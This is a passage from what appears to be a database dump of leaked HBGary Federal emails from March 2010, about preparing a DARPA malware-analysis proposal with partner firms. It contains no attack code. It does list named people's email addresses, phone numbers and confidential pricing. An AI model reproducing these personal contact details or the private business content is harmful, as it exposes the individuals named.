rhetorical\r\nquestion\r\n\r\n\r\n\r\n\r\n\r\nPage 35: remove reference to &quot;our problems with\r\nAFR&quot; - AFR wasn\'t mentioned before this point unless I missed it\r\n\r\n\r\n\r\n\r\n\r\nPage 35: there is some incorrect information about AFR here,\r\nif even that matters - its clear you got this info from Martin as he is talking\r\nabout some of the AFR stuff incorrectly.&nbsp; He mentions direct CPU flag\r\nchanges, that was never part of AFR, that was something called \'Live Drive\'\r\nthat was a separate effort.\r\n\r\n\r\n\r\n\r\n\r\nPage 39: building is spelled wrong in 4th line\r\n\r\n\r\n\r\n\r\n\r\nPage 41: the number of malware we get varies day to day -\r\n5,000 - 15,000 is a better way to put that\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf I can offer one idea --&gt; You guys need a block process\r\ndiagram showing how stuff goes in the hopper on one side, and what pops out of\r\nthe intestine at the other side, and the various data taps that occur along the\r\nway, and also some decision making and feedback points.&nbsp; You need a\r\ndiagram because someone would go crosseyed trying to read that document.&nbsp;\r\nI barely understood it and I know this stuff.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/25/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10150,'aaron_hbgary_com/10150.html'),(4541,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002665.M704227P3547Q4541.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Comments on TECHNICAL MGMT PROPOSAL DARPA-BAA-10-36','Right.  The only things we will be delivering are in the deliverables\r\ntable.  Everything else is just used in the course of the project.\r\n\r\nAs to the rights.  We are still workingnon the language.  At the most\r\nleanient we will give unlimited rights to what we develop on contract\r\nbut it may be knocked to government purpose rights.  Anything as\r\nprevious ip will be restricted or limited rights.\r\n\r\nI\'ll work on a diagram.  There is some\r\nDuplicate data in the static malware and runtime tracing section.  I\r\nam hoping Martin can help to straighten it out a bit.  In the end we\r\nwant to do something like afr but smarter.  This section is currently\r\nassigned completely to HBGary.\r\n\r\nMost of the document is in a mature state except for the section you\r\nhammered.\r\n\r\nThanks again.\r\nAaron\r\n\r\n\r\n From my iPhone\r\n\r\nOn Mar 25, 2010, at 7:20 PM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Team,\r\n>\r\n> I looked over the proposal.  First, I want to make sure Penny has\r\n> gone through the IP issues with a comb.  She has assured me that she\r\n> is on that.  Terms like \'waiving rights\' and \'granting unrestricted\r\n> rights\' are peppered all over the place.  Those are not happy words.\r\n>\r\n> Page 12: not sure what non-severable means.  We didn\'t write\r\n> Responder using SBIR money.  Only the windows XP wpma stuff from\r\n> waaaay back on the AFR contract was funded.\r\n> Page 14: you might want to position \'traditional runtime analysis\'\r\n> as \'tradition interactive debugging\'\r\n> - interactive debugging is why runtime analysis is so painful today\r\n> - the focus on stopping, waiting for analyst input, then continuing\r\n> execution - real real painful\r\n> Page 14: you mention \'hooking\' a running binary.  just to be clear\r\n> we don\'t hook anything with REcon, if you were planning on using\r\n> REcon.  Hooking is old school and low tech, we don\'t use hooks.\r\n> Page 15: 500GB of malware?  Where did you get that figure?  The\r\n> malware at HBGary proper is not something we can give to DARPA, we\r\n> are legally prevented from doing so\r\n> Page 31: you have multiple blocks of duplicate text in this section,\r\n> like you are in the middle of a cut-and-paste hell\r\n> Page 31: remove the use of \"I\" first person - its clear this was cut\r\n> and paste from an email\r\n> Page 32: remove reference to number of FTE\'s required\r\n> Page 32: applications for prediction, again duplicate text here\r\n> Page 33: another duplicate text issue - remove rhetorical question\r\n> Page 35: remove reference to \"our problems with AFR\" - AFR wasn\'t\r\n> mentioned before this point unless I missed it\r\n> Page 35: there is some incorrect information about AFR here, if even\r\n> that matters - its clear you got this info from Martin as he is\r\n> talking about some of the AFR stuff incorrectly.  He mentions direct\r\n> CPU flag changes, that was never part of AFR, that was something\r\n> called \'Live Drive\' that was a separate effort.\r\n> Page 39: building is spelled wrong in 4th line\r\n> Page 41: the number of malware we get varies day to day - 5,000 -\r\n> 15,000 is a better way to put that\r\n>\r\n> If I can offer one idea --> You guys need a block process diagram\r\n> showing how stuff goes in the hopper on one side, and what pops out\r\n> of the intestine at the other side, and the various data taps that\r\n> occur along the way, and also some decision making and feedback\r\n> points.  You need a diagram because someone would go crosseyed\r\n> trying to read that document.  I barely understood it and I know\r\n> this stuff.\r\n>\r\n> -Greg\r\n>\r\n>\r\n',252,'aaron_hbgary_com/252.html'),(4542,'2010-03-26','\"Frank Zinghini\" <FrankZ@avi.com>','/aaron@hbgary.com/new/1297002666.M137525P3547Q4542.eml','aaron@hbgary.com','CHECKING: Secure Decisions - Submission of CG proposal and cost proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI sent this message earlier today with a large attachment.\r\nAs I haven&#8217;t heard back I fear the attachment may have caused the message\r\nto be blocked. Please tell me if you get this note, and whether or not you\r\nreceived our submission.\r\n\r\n&nbsp;\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\n..Frank\r\n\r\n---\r\n\r\nFrank J. Zinghini, Jr.\r\n\r\nPresident\r\n\r\nApplied Visions, Inc.\r\n\r\n631-759-3901\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n= = = = = = = =\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe attached ZIP file contains our technical proposal (Word\r\nand PDF), and framework of our cost proposal. The specifics of the cost\r\nproposal are contained in a separate Excel file.\r\n\r\n&nbsp;\r\n\r\nPlease feel free to contact me at any time at the number\r\nbelow if you have any problems with or questions about the attached material.\r\n\r\n&nbsp;\r\n\r\nPlease acknowledge receipt of this material, as I&#8217;m\r\nconcerned that the size of the attachment may cause problems.\r\n\r\n&nbsp;\r\n\r\nThank you!\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\n..Frank\r\n\r\n---\r\n\r\nFrank J. Zinghini, Jr.\r\n\r\nPresident\r\n\r\nApplied Visions, Inc.\r\n\r\n631-759-3901\r\n\r\nSecure Decisions is a division of Applied Visions, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13713,'aaron_hbgary_com/13713.html'),(4543,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002666.M353169P3547Q4543.eml','\"Frank Zinghini\" <FrankZ@avi.com>','Re: CHECKING: Secure Decisions - Submission of CG proposal and cost proposal','I got it thank you Frank.AaronOn Mar 25, 2010, at 8:45 PM, Frank Zinghini wrote:Aaron,&nbsp;I sent this message earlier today with a large attachment. As I haven’t heard back I fear the attachment may have caused the message to be blocked. Please tell me if you get this note, and whether or not you received our submission.&nbsp;Thanks.&nbsp;..Frank---Frank J. Zinghini, Jr.PresidentApplied Visions, Inc.631-759-3901&nbsp;&nbsp;= = = = = = = =&nbsp;Aaron,&nbsp;The attached ZIP file contains our technical proposal (Word and PDF), and framework of our cost proposal. The specifics of the cost proposal are contained in a separate Excel file.&nbsp;Please feel free to contact me at any time at the number below if you have any problems with or questions about the attached material.&nbsp;Please acknowledge receipt of this material, as I’m concerned that the size of the attachment may cause problems.&nbsp;Thank you!&nbsp;Regards,&nbsp;..Frank---Frank J. Zinghini, Jr.PresidentApplied Visions, Inc.631-759-3901Secure Decisions is a division of Applied Visions, Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',805,'aaron_hbgary_com/805.html'),(4544,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002666.M531083P3547Q4544.eml','\"Phil Porras\" <porras@csl.sri.com>','Re: Latest version','Hi Phil,\r\n\r\nI still see deliverables in 2a and 2b.  And are the percentages correct for staff work?\r\n\r\nAaron\r\n\r\nOn Mar 25, 2010, at 7:24 PM, Phil Porras wrote:\r\n\r\n> At 10:06 AM 3/24/2010, Aaron Barr wrote:\r\n> \r\n> > All, Again please look at tables for data to fill out for your area of responsibility.\r\n> > Innovations Table Deliverables Table Key Personnel Table (Ken I need you to fit\r\n> > your into the format in the document).\r\n> \r\n> These are mods to tables 1 (innovative claims), 2 (deliverables) , and the\r\n> key personnel table\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9267,'aaron_hbgary_com/9267.html'),(4545,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002666.M718080P3547Q4545.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>','Re: Latest Draft','Thank You.\r\nAaron\r\n\r\nOn Mar 25, 2010, at 5:29 PM, Adam Fraser wrote:\r\n\r\n> Aaron,\r\n> \r\n> The tracking number for our sealed cost proposal is EE905367578US.  It\r\n> should be there before noon tomorrow.\r\n> \r\n> Thanks and let me know if you need anything this week.\r\n> \r\n> -- Adam\r\n> \r\n> On 3/24/10 4:14 PM, Aaron Barr wrote:\r\n>> All,\r\n>> \r\n>> Sorry to keep filling up your in boxes but some of you have asked for the most recent version I am integrating...here it is.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11042,'aaron_hbgary_com/11042.html'),(4546,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002668.M808614P3547Q4546.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Preliminary Price','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Wed, Mar 17, 2010 at 7:38 AM\r\nSubject: Fwd: Preliminary Price\r\nTo: Aaron Barr \r\n\r\n\r\n\r\n\r\n-------- Original Message --------\r\nSubject: Preliminary Price\r\nDate: Fri, 12 Mar 2010 16:52:51 -0600\r\nFrom: Wenthold, Russell L. \r\nTo: \r\nCC: Spiller, John F. , Brunelli, Rex\r\n\r\n\r\nTed,\r\n\r\nI was asked to pass the attached informal pricing sheet to you.  If you\r\nrequire a  more formal submission please let me know.\r\n\r\n\r\n\r\nThanks Russ\r\n\r\n\r\n\r\n\r\n\r\nRuss Wenthold\r\n\r\nContracts Administrator\r\n\r\n210-442-4207 (Blanco)\r\n\r\n210-932-5537 (SAIF)\r\n\r\n210-377-0199 (FAX\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9364,'aaron_hbgary_com/9364.html'),(4547,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002670.M109076P3547Q4547.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Preliminary Price','---------- Forwarded message ----------\r\nFrom: Wenthold, Russell L. \r\nDate: Fri, Mar 12, 2010 at 4:52 PM\r\nSubject: Preliminary Price\r\nTo: ted@hbgary.com\r\nCc: \"Spiller, John F.\" , \"Brunelli, Rex\"\r\n\r\n\r\n\r\nTed,\r\n\r\nI was asked to pass the attached informal pricing sheet to you.  If\r\nyou require a  more formal submission please let me know.\r\n\r\n\r\n\r\nThanks Russ\r\n\r\n\r\n\r\n\r\n\r\nRuss Wenthold\r\n\r\nContracts Administrator\r\n\r\n210-442-4207 (Blanco)\r\n\r\n210-932-5537 (SAIF)\r\n\r\n210-377-0199 (FAX\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13447,'aaron_hbgary_com/13447.html'),(4548,'2010-03-26','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002670.M335859P3547Q4548.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Added Comment','\r\n\r\n\r\n  \r\n\r\n\r\nHi Aaron,\r\n\r\nThe bottom line numbers are as follows:\r\n\r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n\r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n\r\n  As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n',7782,'aaron_hbgary_com/7782.html'),(4549,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002670.M548970P3547Q4549.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>,\"Kathryn Tracy\" <kathryn.tracy@sri.com>,,','Re: Added Comment','Thank You.On Mar 25, 2010, at 9:46 PM, Kathryn Tracy wrote:\r\n\r\nHi Aaron,\r\n\r\nThe bottom line numbers are as follows:\r\n\r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n\r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n\r\n  As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16133,'aaron_hbgary_com/16133.html'),(4550,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002670.M773901P3547Q4550.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Added Comment','Begin forwarded message:From: Kathryn Tracy &lt;kathryn.tracy@sri.com&gt;Date: March 25, 2010 9:46:33 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Phil Porras &lt;porras@csl.sri.com&gt;, Vinod Yegneswaran &lt;vinod@csl.sri.com&gt;, Colleen Ferguson &lt;colleen.ferguson@sri.com&gt;Subject: Re: Added Comment\r\n\r\nHi Aaron,\r\n\r\nThe bottom line numbers are as follows:\r\n\r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n\r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n\r\n  As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14372,'aaron_hbgary_com/14372.html'),(4551,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002671.M133701P3547Q4551.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Added Comment','???I thought they were going to lower it.On Mar 25, 2010, at 7:48 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBegin forwarded message:\r\nFrom: Kathryn Tracy &lt;kathryn.tracy@sri.com&gt;\r\nDate: March 25, 2010 9:46:33 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Phil Porras &lt;porras@csl.sri.com&gt;, Vinod Yegneswaran &lt;vinod@csl.sri.com&gt;, Colleen Ferguson &lt;colleen.ferguson@sri.com&gt;\r\nSubject: Re: Added Comment\r\n\r\n\r\nHi Aaron,\r\n\r\nThe bottom line numbers are as follows:\r\n\r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n\r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n\r\n  As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',14696,'aaron_hbgary_com/14696.html'),(4552,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002671.M319242P3547Q4552.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Added Comment','THey did. &nbsp;Last 2 years are option years.On Mar 25, 2010, at 10:10 PM, Ted Vera wrote:???I thought they were going to lower it.On Mar 25, 2010, at 7:48 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBegin forwarded message:\r\nFrom: Kathryn Tracy &lt;kathryn.tracy@sri.com&gt;\r\nDate: March 25, 2010 9:46:33 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Phil Porras &lt;porras@csl.sri.com&gt;, Vinod Yegneswaran &lt;vinod@csl.sri.com&gt;, Colleen Ferguson &lt;colleen.ferguson@sri.com&gt;\r\nSubject: Re: Added Comment\r\n\r\n\r\nHi Aaron,\r\n\r\nThe bottom line numbers are as follows:\r\n\r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n\r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n\r\n  As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3064,'aaron_hbgary_com/3064.html'),(4553,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002671.M866607P3547Q4553.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Draft Consulting Agreement','Begin forwarded message:From: MB Toth &lt;mbt.rbtoth@starpower.net&gt;\r\nDate: March 25, 2010 8:08:40 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Draft Consulting Agreement\r\nTed,    Looks good.  So pleased we will be working together again!    Only change I made was to the header, from &quot;Confidential&quot; to &quot;Corporate Confidential&quot;, just to avoid any confusion with government classifications.\r\n    MikeOn 3/25/2010 8:53 PM, Ted Vera wrote:Hi Mike,\r\nDraft consulting agreement attached.  If all terms/conditions areacceptable to you then please sign and return.\r\nAs I mentioned earlier, this is based on HBGary boiler-plate.  Feel freeto revise terms and conditions as you deem necessary, using MS Word\r\nTrack Changes so Aaron and I can review and approve them.Thanks for you help Mike, I&#39;m excited to have a chance to work with you\r\nagain!Ted\r\n   \r\n',10506,'aaron_hbgary_com/10506.html'),(4554,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002672.M289274P3547Q4555.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Added Comment','If it is a priced option we should include it. Just label it as an option.On Mar 25, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSo as not to confuse DARPA please only include the first 2 years in your sealed packages.  I will discuss the priced options somewhere the proposal but don&#39;t want to include the costing for those.\r\nAaronOn Mar 25, 2010, at 9:46 PM, Kathryn Tracy wrote:\r\n\r\nHi Aaron,\r\n\r\nThe bottom line numbers are as follows:\r\n\r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n\r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n\r\n  As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',9259,'aaron_hbgary_com/9259.html'),(4555,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002672.M479230P3547Q4556.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>,\"Kathryn Tracy\" <kathryn.tracy@sri.com>,','Fwd: Added Comment','I stand corrected.AaronBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: March 25, 2010 10:14:49 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Added CommentIf it is a priced option we should include it. Just label it as an option.On Mar 25, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSo as not to confuse DARPA please only include the first 2 years in your sealed packages. &nbsp;I will discuss the priced options somewhere the proposal but don\'t want to include the costing for those.\r\nAaronOn Mar 25, 2010, at 9:46 PM, Kathryn Tracy wrote:\r\n\r\nHi Aaron,\r\n\r\nThe bottom line numbers are as follows:\r\n\r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n\r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n\r\n  As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8017,'aaron_hbgary_com/8017.html'),(4556,'2010-03-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002672.M693681P3547Q4557.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Comments on TECHNICAL MGMT PROPOSAL DARPA-BAA-10-36','\r\n\r\n\r\n\r\nI’m viewing that Responder was built with a combination of SBIR and private funds.  Since we can’t pinpoint which code was built with SBIR and which was private, Metzger (attorney) said to say the code is non-severable and asserted restricted rights which absolute protects HBGary’s IP.  Ultimately it doesn’t matter because we won’t be delivering Responder or DDNA to the gov’t.\r\n\r\n\r\n \r\nDid you need the code pinpointed?  I know exactly what code was written under SBIR and what wasn&#39;t.  We mark that at the top of the code files.  There isn&#39;t much that is SBIR.  REcon is SBIR, and one or two parts of WPMA (shitty old andrew-written parts) are SBIR.  That&#39;s it.\r\n\r\n \r\n-Greg\r\n',3365,'aaron_hbgary_com/3365.html'),(4557,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002672.M71930P3547Q4554.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>,\"Kathryn Tracy\" <kathryn.tracy@sri.com>,,,','Re: Added Comment','So as not to confuse DARPA please only include the first 2 years in your sealed packages. &nbsp;I will discuss the priced options somewhere the proposal but don\'t want to include the costing for those.AaronOn Mar 25, 2010, at 9:46 PM, Kathryn Tracy wrote:\r\n\r\nHi Aaron,\r\n\r\nThe bottom line numbers are as follows:\r\n\r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n\r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n\r\n  As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11371,'aaron_hbgary_com/11371.html'),(4558,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002672.M981209P3547Q4558.eml','\"Penny Leavy\" <penny@hbgary.com>','Talked with Ted','Penny,\r\n\r\nTalked with Ted.  There is 80K left on the current Task B and Bill is working to put on another $140K\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8648,'aaron_hbgary_com/8648.html'),(4559,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002673.M315723P3547Q4559.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Tasks','Task 1:  Specimen Feeds & Pre-Processor:  SRI Lead\r\n1.1.4.2 SRI\r\n1.1.5.2 Pikewerks\r\n\r\nTask 2:  Specimen Repository:  HBGary Federal Lead\r\n1.1.1.3 HBGary Federal\r\n\r\nTask 3:  Malware Physiology Visualization Interface:  AVI/Secure\r\nDecisions Lead\r\n1.1.6.4 AVI/Secure Decisions\r\n1.1.2.4 GD AIS Support\r\n\r\nTask 4:  Genomes Library:  HBGary Federal Lead\r\n1.1.1.5 HBGary Federal\r\n1.1.3.5 HBGary, Inc.\r\n1.1.5.5 Pikewerks\r\n\r\nTask 5:  Traits Library:\r\n1.1.1.6 HBGary Federal\r\n1.1.3.6 HBGary\r\n1.1.5.6 Pikewerks\r\n1.1.2.6 GD AIS Support\r\n\r\nTask 6:  Static Memory Analysis Runtime Tracing:  HBGary Inc. Lead\r\n1.1.3.7 HBGary\r\n1.1.5.7 Pikewerks\r\n\r\nTask 7:  Bayesian Reasoning & Inference Node:  HBGary Federal Lead\r\n1.1.1.8 HBGary Federal\r\n',975,'aaron_hbgary_com/975.html'),(4560,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002676.M423137P3547Q4560.eml','\"Aaron Barr\" <aaron@hbgary.com>','SOW','Attached.\r\n',15691,'aaron_hbgary_com/15691.html'),(4561,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002680.M469933P3547Q4561.eml','\"Aaron Barr\" <aaron@hbgary.com>','Updated','I updated as we discussed. Let\'s clean-up tomorrow a.m.\r\n\r\nTed\r\n',2121,'aaron_hbgary_com/2121.html'),(4562,'2010-03-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002680.M700184P3547Q4562.eml','\"Aaron Barr\" <aaron@hbgary.com>','It is 2:15 am. I am going to bed.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI did some writing but I am not done.&nbsp; I completely\r\nrewrote the Technical Rationale section and am happy with the results.&nbsp; I\r\nexplained why our tech approach is good in layman&#8217;s language.\r\n\r\n&nbsp;\r\n\r\nI began rewriting the SMART section but am less than half\r\ndone.&nbsp; Luckily, Greg provided awesome content without even trying.&nbsp;\r\nHis new REcon paper has terrific content that I am using.&nbsp; I&#8217;ve got\r\nthat content in there but have to rewrite it for flow and efficiency.&nbsp; I\r\nhave to rewrite the AFR-type section.\r\n\r\n&nbsp;\r\n\r\nQuestion:&nbsp; REcon is a mature technology.&nbsp; Can I\r\ncall it out by name?&nbsp; Or is it best to be nebulous that it exists in the\r\nproposal itself, but call it out with confidence in the past work and bio\r\nsections?&nbsp; For example, I found myself writing about memory analysis from\r\nthe point of view that the system &#8220;will be able to&#8221; blah blah (future\r\ntense) instead of just saying it does something now.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1271,'aaron_hbgary_com/1271.html'),(4563,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002680.M878700P3547Q4563.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Updated','I think we want to say somewhere in the proposal that we can have a\r\n90% solution without smart.  And an 80% solution without brain.  That\r\nwe approached this as a complete solution to the problem but if\r\ndesirable we can give them a lot for less.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 26, 2010, at 2:16 AM, Ted Vera  wrote:\r\n\r\n> I updated as we discussed. Let\'s clean-up tomorrow a.m.\r\n>\r\n> Ted\r\n> \r\n',8158,'aaron_hbgary_com/8158.html'),(4564,'2010-03-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002681.M323342P3547Q4565.eml','\"Aaron Barr\" <aaron@hbgary.com>','Tech rationale section','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nII.D.1&nbsp; Technical Rationale\r\n\r\nCommon\r\npractice for binary and malware analysis today requires the manual labor of\r\nhighly skilled and well paid engineers.&nbsp; Results are slow, unpredictable,\r\nexpensive and don&#8217;t 